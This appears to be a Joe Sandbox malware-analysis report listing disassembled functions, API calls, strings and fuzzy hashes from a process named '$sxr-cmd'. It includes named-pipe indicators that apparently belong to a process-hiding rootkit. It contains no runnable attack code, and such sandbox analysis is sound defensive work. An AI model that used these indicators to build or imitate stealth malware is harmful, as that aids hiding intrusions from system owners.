Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ObjectSingleWait
String ID: wil
API String ID: 24740636-1589926490
Opcode ID: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
Instruction ID: e6c1081329daca6271a9f114626134c00137b048fe7052d13b12f1a1103cef33
Opcode Fuzzy Hash: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
Instruction Fuzzy Hash: CB415331A08D4287F3A06B21D40027AA6E1EF867B4FF59131D90D6A6D4CF7ED46C8771

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380CDC0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 94windowCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF71380CE20
_ultoa.MSVCRT ref: 00007FF71380CE43
GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF71380CE4F
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF71380CE84
FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF71380CEDE
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF71380CF24

Strings

, xrefs: 00007FF71380CE64
Application, xrefs: 00007FF71380CEAB
System, xrefs: 00007FF71380CE90

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: FormatMessage$ByteCharFreeLocalMultiWide_ultoa
String ID: $Application$System
API String ID: 3377411628-1881496484
Opcode ID: 80d38d575318b3867918aa38a6e3db8ef172391286b4c5249a392e05da5dfb20
Instruction ID: 44f18c17b60452acb20e90c92adf2542a1594e4029d6363e36c7e16f017bec4a
Opcode Fuzzy Hash: 80d38d575318b3867918aa38a6e3db8ef172391286b4c5249a392e05da5dfb20
Instruction Fuzzy Hash: 97417C32B04F419AE750AF60E4403EDB7B4FB89768F845235DA4E66B58EF38D119C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E14E8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,00007FF7137E1829), ref: 00007FF7137E1513
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,00007FF7137E1829), ref: 00007FF7137E152B
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137FAB0F
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137FAB29
SetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137FAB4E
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137FAB65

Strings

:, xrefs: 00007FF7137FAAF0
\, xrefs: 00007FF7137FAAFC

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: AttributesDirectoryFileRemove$ErrorFullLastNamePath
String ID: :$\
API String ID: 3961617410-1166558509
Opcode ID: 7382dc9ba5dd15d1d826e80cca2a433ebb6210e0cfd6d3e104106e7a41e883e1
Instruction ID: 0fb404038a352ca43de92ea80e5550c4f98a848643a0b04e881d8a3e9ae339e4
Opcode Fuzzy Hash: 7382dc9ba5dd15d1d826e80cca2a433ebb6210e0cfd6d3e104106e7a41e883e1
Instruction Fuzzy Hash: BB217421A18E428AE7D07B60B4850B9FAA1FB4DB75FC48231D92F63394DF7CD44C8620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E7AA0 Relevance: 15.2, APIs: 10, Instructions: 221COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137E7B13
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E7B5F
CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E7B83
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E7BA9

Part of subcall function 00007FF7137F291C: GetDriveTypeW.KERNELBASE ref: 00007FF7137F294A

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CreateDirectoryDriveFullNamePathTypememset
String ID:
API String ID: 1397130798-0
Opcode ID: 8e41fef93c0c3e03a2b4858334dae578715ba76b45c3a51f6cef48e23758e3a9
Instruction ID: bbcaf1b4ebca8c90bee4727695558eb70100192b9a373ae943c8290bd9f8bb2d
Opcode Fuzzy Hash: 8e41fef93c0c3e03a2b4858334dae578715ba76b45c3a51f6cef48e23758e3a9
Instruction Fuzzy Hash: C9917522A08E8186FBE5AB1194802B9F7A9FF48BA4FC58135D95D27794DF3CD54C8720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F258C Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137F06C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F06D6
Part of subcall function 00007FF7137F06C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F06F0
Part of subcall function 00007FF7137F06C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F074D
Part of subcall function 00007FF7137F06C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F0762

_wcsicmp.MSVCRT ref: 00007FF7137F25CA
_wcsicmp.MSVCRT ref: 00007FF7137F25E8
_wcsicmp.MSVCRT ref: 00007FF7137F260F
_wcsicmp.MSVCRT ref: 00007FF7137F2636
_wcsicmp.MSVCRT ref: 00007FF7137F2650

Strings

CMDEXTVERSION, xrefs: 00007FF7137F2608
ERRORLEVEL, xrefs: 00007FF7137F25C3
NOT, xrefs: 00007FF7137F2649
EXIST, xrefs: 00007FF7137F25E1
DEFINED, xrefs: 00007FF7137F262F

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmp$Heap$AllocProcess
String ID: CMDEXTVERSION$DEFINED$ERRORLEVEL$EXIST$NOT
API String ID: 3407644289-1668778490
Opcode ID: 73bc52d87adb43f98016766748090f79ae3978062519f174c0f235f90d2ce4d7
Instruction ID: 818c81af3e53eb30f0c1dbcc7a3dec23b9ea7a7799b5932c5373529bd540b7bb
Opcode Fuzzy Hash: 73bc52d87adb43f98016766748090f79ae3978062519f174c0f235f90d2ce4d7
Instruction Fuzzy Hash: 1A315D25A08D0285F7D07F25E890379E6A8BF88BA0FC48435DA5E666A5DE3DE40CC731

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF713810C90 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 282COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF713811398: free.MSVCRT(?,?,00000000,00007FF713807FE0,?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000), ref: 00007FF7138113C2
Part of subcall function 00007FF713811398: free.MSVCRT(?,?,00000000,00007FF713807FE0,?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000), ref: 00007FF7138113DF

Part of subcall function 00007FF7137E2730: towupper.MSVCRT ref: 00007FF7137E27C1

Part of subcall function 00007FF7137E91C0: memset.MSVCRT ref: 00007FF7137E921C
Part of subcall function 00007FF7137E91C0: wcsrchr.MSVCRT ref: 00007FF7137E92D8
Part of subcall function 00007FF7137E91C0: GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E9362
Part of subcall function 00007FF7137E91C0: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137E9373

Part of subcall function 00007FF7137E8DF8: memset.MSVCRT ref: 00007FF7137E8E6D
Part of subcall function 00007FF7137E8DF8: memset.MSVCRT ref: 00007FF7137E8E93

Part of subcall function 00007FF7137F7854: memset.MSVCRT ref: 00007FF7137F790B

qsort.MSVCRT ref: 00007FF713810DDF
wcschr.MSVCRT ref: 00007FF713810E40
calloc.MSVCRT ref: 00007FF713810EA2
calloc.MSVCRT ref: 00007FF713810F5A
wcschr.MSVCRT ref: 00007FF713810F9E
memmove.MSVCRT ref: 00007FF713811001
memmove.MSVCRT ref: 00007FF713811021

Strings

&()[]{}^=;!%'+,`~, xrefs: 00007FF713810E39, 00007FF713810F97

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$callocfreememmovewcschr$AttributesErrorFileLastqsorttowupperwcsrchr
String ID: &()[]{}^=;!%'+,`~
API String ID: 2516562204-381716982
Opcode ID: 46497fca5754c6479966f60d4708fe0825c75a770e24346d8a6fbe1751f9d7e4
Instruction ID: bdba72ce4105ede08c6e761d4fa9aa1589bf219ce7010f67e20ae223c78b5560
Opcode Fuzzy Hash: 46497fca5754c6479966f60d4708fe0825c75a770e24346d8a6fbe1751f9d7e4
Instruction Fuzzy Hash: 0CC1D672B14B518AE790AF25E84027DB7A0FB48BA4F845135DE8D23B94DF3DE469C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F7E80 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137ED3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED46E
Part of subcall function 00007FF7137ED3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED485
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED4EE
Part of subcall function 00007FF7137ED3F0: iswspace.MSVCRT ref: 00007FF7137ED54D
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED569
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED58C

iswspace.MSVCRT ref: 00007FF7137F7EEE

Strings

A, xrefs: 00007FF7138001B6

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$Heapiswspace$AllocProcess
String ID: A
API String ID: 3731854180-3554254475
Opcode ID: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
Instruction ID: c75d466a852547f1441658d0acca5e6b6477a8843d12117dfb3266dc756e372b
Opcode Fuzzy Hash: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
Instruction Fuzzy Hash: 26A19061909E82C9E7A0BB11A450279F6E4FF497A0F808035DA5DA7794DF3DE46EC730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380A39C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 111libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF71380A3EA
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF71380A40C
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF71380A47B
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF71380A4D3
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF71380A508
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF71380A54A

Strings

NtQueryInformationProcess, xrefs: 00007FF71380A402
NTDLL.DLL, xrefs: 00007FF71380A3E1

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: MemoryProcessRead$AddressLibraryLoadProc
String ID: NTDLL.DLL$NtQueryInformationProcess
API String ID: 1580871199-2613899276
Opcode ID: 248bfccf7fce2d74e04c554d0a409a3469e52293056c2e4adbebd786e6cf1904
Instruction ID: 404622d72fec3cfe62583b069c8fc4a1fd658d71d3aa97e8484cfa81ddeab1e4
Opcode Fuzzy Hash: 248bfccf7fce2d74e04c554d0a409a3469e52293056c2e4adbebd786e6cf1904
Instruction Fuzzy Hash: 5F51B372A18F8286EB909B55E400279F7F4FB88BA4F845235DA5D27744DF3DD029C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E7420 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF7137E74A1
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E74E8
_open_osfhandle.MSVCRT ref: 00007FF7137E7509
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF713804931

Strings

con, xrefs: 00007FF7137E748A

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CloseCreateFileHandle_open_osfhandle_wcsicmp
String ID: con
API String ID: 689241570-4257191772
Opcode ID: c7a2234d9573f6b473384a9ead2fa3a6435853c7d94b0c157743cf5a0c0f015b
Instruction ID: 55f89d60d49aac84793439e178455dbc95548549bf21975df2bf6cc317b35127
Opcode Fuzzy Hash: c7a2234d9573f6b473384a9ead2fa3a6435853c7d94b0c157743cf5a0c0f015b
Instruction Fuzzy Hash: 8541B132A08A4586E350AF159484379FAA4FB8ABB4F948334DA6D673D0CF7DD84DC760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380A58C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 97memoryfileCOMMON

Download Yara Rule

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380A5DC

Part of subcall function 00007FF71380A8D4: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380A8F1

SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380A62E
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF71380A68B
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF71380A6A0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF71380A6DE
RtlFreeHeap.NTDLL ref: 00007FF71380A6F2
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF71380A701

Strings

PE, xrefs: 00007FF71380A65C

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$File$Process$AllocCloseCreateFreeHandlePointerRead
String ID: PE
API String ID: 2941894976-4258593460
Opcode ID: 331757eb63d1f0c0e0f6f41cd200ca790172e856099f574e6941fdd4e3218fed
Instruction ID: 1e571bdddd30f063e4b51cf76c64c49abb76a64191e6f01041036dbfc378070d
Opcode Fuzzy Hash: 331757eb63d1f0c0e0f6f41cd200ca790172e856099f574e6941fdd4e3218fed
Instruction Fuzzy Hash: 26415562608A5186F7A0AB11E450679FBE0FB89BA0F844230DE5D17B95DF3EE459CB30

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B2444 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002155A5B2459
GetCurrentProcessId.KERNEL32 ref: 000002155A5B2463

Part of subcall function 000002155A5B19AC: OpenProcess.KERNEL32 ref: 000002155A5B19CA
Part of subcall function 000002155A5B19AC: IsWow64Process.KERNEL32 ref: 000002155A5B19E0
Part of subcall function 000002155A5B19AC: CloseHandle.KERNEL32 ref: 000002155A5B19FB

CreateFileW.KERNEL32 ref: 000002155A5B24BC
WriteFile.KERNEL32 ref: 000002155A5B24E4
ReadFile.KERNEL32 ref: 000002155A5B2503
CloseHandle.KERNEL32 ref: 000002155A5B250C

Strings

\\.\pipe\$sxrchildproc34226543a32, xrefs: 000002155A5B2493
\\.\pipe\$sxrchildproc38764243a64, xrefs: 000002155A5B248C

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\$sxrchildproc34226543a32$\\.\pipe\$sxrchildproc38764243a64
API String ID: 2171963597-1213686612
Opcode ID: 222afe9738357af78c0991e138f7f32301e44ba52e3deabe560e99e21132f038
Instruction ID: 8ad1e9c30e7bd4d6325c55104014fdf7ecfbe2687ca43c98f297bb13caecb895
Opcode Fuzzy Hash: 222afe9738357af78c0991e138f7f32301e44ba52e3deabe560e99e21132f038
Instruction Fuzzy Hash: 3C217136614B54E2FB10CB25F458799B3A2F3E5BA9F900255EB5A02BA8DF3CC14DCB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F0010 Relevance: 13.7, APIs: 9, Instructions: 163fileCOMMON

Download Yara Rule

APIs

SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,0000237B,00000000,00000002,0000000A,00000001,00007FF71380849D,?,?,?,00007FF71380F0C7), ref: 00007FF7137F0045
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF71380F0C7,?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF71380E964), ref: 00007FF7137F0071
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137F0092
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF7137F00A7
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137F0148
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF7137F0181

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: File$LockPointerShared$AcquireByteCharMultiReadReleaseWide
String ID:
API String ID: 734197835-0
Opcode ID: 350a32b8b7773a328a2c6bfa9f033ab7091b859c3389a923f16ee056ea562ebb
Instruction ID: 133a2dfacb88b2b925857e5460d8ca9b4d66ce2a758b3b54f0b18e7b8ae25951
Opcode Fuzzy Hash: 350a32b8b7773a328a2c6bfa9f033ab7091b859c3389a923f16ee056ea562ebb
Instruction Fuzzy Hash: 5961D432A0CE928AE3A1BB11A840339FA94FB49764F848131DD6E63794DF7DE41CC720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF713809B0C Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 261registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF713809B77
RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF713809CD2
wcsrchr.MSVCRT ref: 00007FF713809D47
RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF713809E38

Strings

\Shell\Open\Command, xrefs: 00007FF713809B8F, 00007FF713809DE6
%s=%s, xrefs: 00007FF713809C81, 00007FF713809E85
., xrefs: 00007FF713809B96

Memory Dump Source

